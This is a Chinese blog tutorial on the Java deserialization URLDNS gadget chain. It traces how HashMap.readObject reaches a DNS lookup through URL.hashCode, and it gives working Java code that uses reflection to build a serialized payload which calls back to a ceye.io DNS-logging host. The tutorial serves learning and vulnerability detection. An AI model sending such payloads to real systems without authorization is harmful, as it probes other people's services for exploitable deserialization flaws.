java反序列化---URLDNS链

2023-09-18 13:46:00

目录

一、前言

二、原理分析

三、代码实现


一、前言

URLDNS链相较于其他java反序列化链是比较简单的,只需要几步调用就能触发

所以学习java反序列化,最好从URLDNS链出发,初步了解如何跟进,以及反射获取类、方法等

使用这条链可以传入一个URL,然后触发的结果就是进行一次DNS请求

为了方便通信,通常需要把数据序列化,通信完成后,再把数据反序列化,在这之中就会产生漏洞

在数据反序列化时,某些类会自动调用readObject()方法,执行里面的代码

调用链

Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

二、原理分析

在反序列化时,readObject方法内的代码会自动执行,key=URL,跟进putVal函数

putVal方法调用hash()函数,再跟进hash函数

发现hash函数调用的是key.hashCode(),也就是URL.hashCode(),那么我们再跟进URL的hashCode函数 

如果hashCode不等于-1,就返回原值,否则执行handler.hashCode,跟进这里的hashCode 

走到getHostAddress函数中,跟进

又返回u.getHostAddress()方法,再跟进 

 

 就到了getByName,进行DNS请求

这样一套操作下来,就完成了DNS请求 

三、代码实现

我们可以先写成这样看一下,按理说,我们还没有反序列化,readObject方法不会自动执行,DNS解析也就不会执行

注意:最好新建Maven项目,新建文件夹,把代码写到对应的文件夹下,不然有可能会报错

public class demo {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://tixtwe.ceye.io");
        hashmap.put(url,1);
        serialize(hashmap);
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是确实是执行了,那为什么呢?

这是因为Hashmap的put方法也会调用putVal函数, 然后和上面我们分析的一样,会进行DNS解析

所以我们需要禁止掉put函数进行DNS解析,那怎样禁止呢?

通过这个if,我们可以让hashCode不等于-1,那就走到返回原值那里了,就不会往下执行了

但问题是怎么让它不等于-1,java.net.URL中规定了hashCode=-1,并且是个私有方法

这里我们可以使用反射,来修改hashCode的值

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        serialize(hashmap);

首先创建名为hashmap和url的两个实例,getClass()获取到URL这个类

然后getDeclaredField获取到URL类中的hashCode字段,设置可修改性为true 

修改hashCode值为1234,最后调用put方法,这样修改了hashCode的值,DNS请求不会触发

问题解决以后,我们再说反序列化,修改代码如下

public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = Class.forName("java.net.URL");
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        unserialize("ser.bin");
    }

值得注意的是,我们需要将原本的hashCode值给修改回来,不然到反序列化时,readObject函数也会调用putVal和hashCode

如果不等于-1,DNS请求就不会触发,只有修改回来,才能正常调用

更多推荐

Android 回声消除

Android回声消除前言在语音聊天、语音通话、互动直播、语音转文字类应用或者游戏中,需要采集用户的麦克风音频数据,然后将音频数据发送给其它终端或者语音识别服务。如果直接使用采集的麦克风数据,就会存在回音问题。所谓回音就是在语音通话过程中,如果用户开着扬声器,那么自己讲话的声音和对方讲话的声音(即是扬声器的声音)就会混

c++基础:new函数

new函数new是用于动态分配内存的操作符。它用于在堆内存中创建一个新的对象或数据结构,并返回一个指向该内存的指针。这是C++中进行动态内存分配的主要方式之一,通常与delete操作符一起使用来释放先前分配的内存。以下是使用new操作符的一些示例:动态分配一个整数,并将其赋值给指针:int*pInt=newint;*p

Python基础运算分享

Python的运算符和其他语言类似(我们暂时只了解这些运算符的基本用法,方便我们展开后面的内容,高级应用暂时不介绍)数学运算>>>print1+9#加法>>>print1.3-4#减法>>>print3*5#乘法>>>print4.5/1.5#除法>>>print3**2#乘方>>>print10%3#求余数判断判断是

抖音开网店无货源怎么找

随着社交媒体的快速发展,抖音已经成为了一种极具潜力的电商平台。许多人想要利用这个平台开设网店,但是其中很多人面临的问题是如何找到货源。无货源的抖音网店经营固然具有一定的难度,但并非不可行。以下是一些帮助你在抖音开网店无货源的方法。代销合作:寻找与制造商或批发商的代销合作是一种常见的方式。你可以与他们签订协议,销售他们的

1787_函数指针的使用

全部学习汇总:GitHub-GreyZhang/c_basic:littlebitsofc.前阵子似乎写了不少错代码,因为对函数指针的理解还不够。今天晚上似乎总算是梳理出了一点眉目,在先前自己写过的代码工程中做一下测试。先前实现过一个归并排序算法,算法函数的一个传入参数是指向一个比较功能函数的指针。当时进行代码实现的时

数据治理-数据存储和操作-数据架构类型

数据库可以分为集中式数据库和分布式数据。集中式系统管理单一数据库,而分布式系统管理多个系统上的多个数据库。分布式系统组件可以根据组件系统的自治性分为两类:联邦的和非联邦的。集中式数据库集中式数据库将所有数据存放在一个地方的一套系统中,所有用户连接到这套系统进行数据访问。对某些访问受限的数据来说,集中化可能是理想的,但对

如何在Spring Boot中配置双数据源?

如何在SpringBoot中配置双数据源?背景双数据源优点技术用法添加依赖配置数据源创建实体类和存储库配置数据源和实体管理器配置事务管理器实现双数据源背景在许多应用程序中,可能会遇到需要连接多个数据库的情况。这些数据库可以是不同的类型,例如关系型数据库和NoSQL数据库,或者它们可以是相同类型但包含不同的数据。为了处理

Spring Boot 如何配置 Hikari 数据库连接池

目录一、SpringBoot介绍二、什么是数据库连接池三、Hikari介绍四、配置Hikari一、SpringBoot介绍SpringBoot是一个开源的Java框架,它简化了基于Spring的应用程序的开发和部署。它提供了一种快速、方便的方式来创建独立的、可扩展的、生产级别的Spring应用程序。SpringBoot

Matlab--微积分问题的计算机求解

目录1.单变量函数的极限问题1.1.公式例子1.2.对应例题12.多变量函数的极限问题3.函数导数的解析解4.多元函数的偏导数5.Jacobian函数6.Hessian矩阵7.隐函数的偏导8.不定积分问题的求解9.定积分的求解问题10.多重积分的问题求解1.单变量函数的极限问题1.1.公式例子%%%3.1.1.单变量函

Springboot 实践(21)服务熔断机制

在微服务架构中,服务众多,通常会涉及到多个服务层的调用,一旦基础服务发生故障,很可能会导致级联故障,继而造成整个系统不可用,这种现象被称为服务雪崩效应。服务熔断引入熔断器概念,熔断器如果在一段时间内侦测到许多类似错误,就会强迫其以后的多个调用快速失败,不在访问远程服务器,从而防止应用程序不断地尝试执行可能会失败的操作,

sed & awk使用简介

简介本文主要介绍Linux系统的两个神级工具:sed和awk,他们是Linux高手们必备的技能,很值得我们去研究的东西。这里是我在网上书上收集的相关资料,因为这两个工具很有名也很重要,所以这些资料会帮助我更好的了解和熟悉它们。什么是sed在《sedandawk》一书中(1.2AStreamEditor)的解释是:Sed

热文推荐